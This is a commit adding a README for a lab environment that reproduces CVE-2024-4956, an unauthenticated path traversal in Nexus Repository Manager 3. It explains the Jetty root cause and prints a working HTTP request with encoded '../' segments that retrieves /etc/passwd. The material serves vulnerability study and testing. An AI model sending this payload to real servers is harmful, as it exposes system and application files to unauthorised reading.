first commit

nexus/CVE-2024-4956/README.md

@@ -0,0 +1,46 @@
+# Nexus Repository Manager 3 Unauthenticated Path Traversal (CVE-2024-4956)
+
+[中文版本(Chinese version)](README.zh-cn.md)
+
+Nexus Repository Manager is a repository manager that organizes, stores and distributes artifacts needed for development.
+
+A path traversal vulnerability has been discovered in Nexus Repository 3 before version 3.68.1, the vulnerability allows for an attacker to craft a URL to return any file as a download, including system files outside of Nexus Repository application scope, without any authentication.
+
+References:
+
+- <https://support.sonatype.com/hc/en-us/articles/29416509323923-CVE-2024-4956-Nexus-Repository-3-Path-Traversal-2024-05-16>
+
+## Vulnerable environment
+
+Execute following command to start a Nexus Repository Manager version 3.68.0:
+
+```
+docker compose up -d
+```
+
+After the server is started, browse `http://your-ip:8081` to see the home page of Nexus.
+
+## Exploit
+
+Just like SpringMVC CVE-2018-1271 from Orange Tsai's [share](https://i.blackhat.com/us-18/Wed-August-8/us-18-Orange-Tsai-Breaking-Parser-Logic-Take-Your-Path-Normalization-Off-And-Pop-0days-Out-2.pdf), Jetty's `URIUtil.canonicalPath()` also treats the empty string as a directory which is the root cause of this vulnerability:
+
+![](1.png)
+
+Simply send following request to reproduce the issue:
+
+```
+GET /%2F%2F%2F%2F%2F%2F%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd HTTP/1.1
+Host: localhost:8081
+Accept-Encoding: gzip, deflate, br
+Accept: */*
+Accept-Language: en-US;q=0.9,en;q=0.8
+User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.6045.159 Safari/537.36
+Connection: close
+Cache-Control: max-age=0
+
+
+```
+
+As you can see, `/etc/passwd` has been exposed directly:
+
+![](2.png)